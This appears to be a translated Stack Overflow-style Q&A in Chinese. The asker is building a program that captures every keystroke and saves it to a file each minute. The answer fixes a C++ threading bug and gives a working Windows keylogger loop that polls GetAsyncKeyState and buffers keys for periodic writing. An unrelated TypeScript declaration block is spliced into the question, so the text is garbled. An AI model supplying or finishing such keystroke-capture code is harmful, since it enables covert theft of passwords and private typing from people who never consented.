因此,我尝试获取所有按键并将其每分钟保存一次到文件中。所以我得到了while循环来获取按键,并且第一次一切都很好,但是在那之后线程就无法接近函数了。没有任何崩溃,但结果不可接受。
// MyLib.d.ts (edited for use with the `MyLib` identifier
declare namespace MyLib {
function callMe(): boolean;
enum Ex {
true = 0,
false = 1
}
namespace ns {
function fn(): string;
}
}
答案 0 :(得分:2)
WriteKeyStrokesToFile函数仅被调用一次
应该如此。线程仅运行一次其功能。当函数退出时,就是这样,线程完成了。您无法重新启动线程,您所能做的就是创建一个新线程。
为什么线程在无限的while循环中只能工作1次。
因为在线程中根本没有循环。您有一个在线程外运行的代码循环,向线程提供数据。
要执行所需的操作,只需在WriteKeyStrokesToFile()
函数内部添加一个循环,使其保持运行状态。并且不要在线程外运行的循环的每次迭代中创建新线程。
std::string content = ""; // global
std::mutex content_mutex;
void WriteKeyStrokesToFile()
{
while (true) {
std::this_thread::sleep_for(std::chrono::seconds(60));
std::lock_guard<std::mutex> g(content_mutex);
//open file and upload content to file
content = ""; //empty the content
}
}
void AddKeyStroke(char keyStroke)
{
std::lock_guard<std::mutex> g(content_mutex);
content += keyStroke;
}
int main()
{
std::thread t(WriteKeyStrokesToFile);
while (true) {
for (keyStroke = 8; keyStroke < 190; keyStroke++) {
if (GetAsyncKeyState(keyStroke) & 0x0001) {
if (KeyIsSpecial(keyStroke) == false) {
AddKeyStroke(keyStroke);
std::cout << keyStroke;
}
}
}
}
t.join();
return 0;
}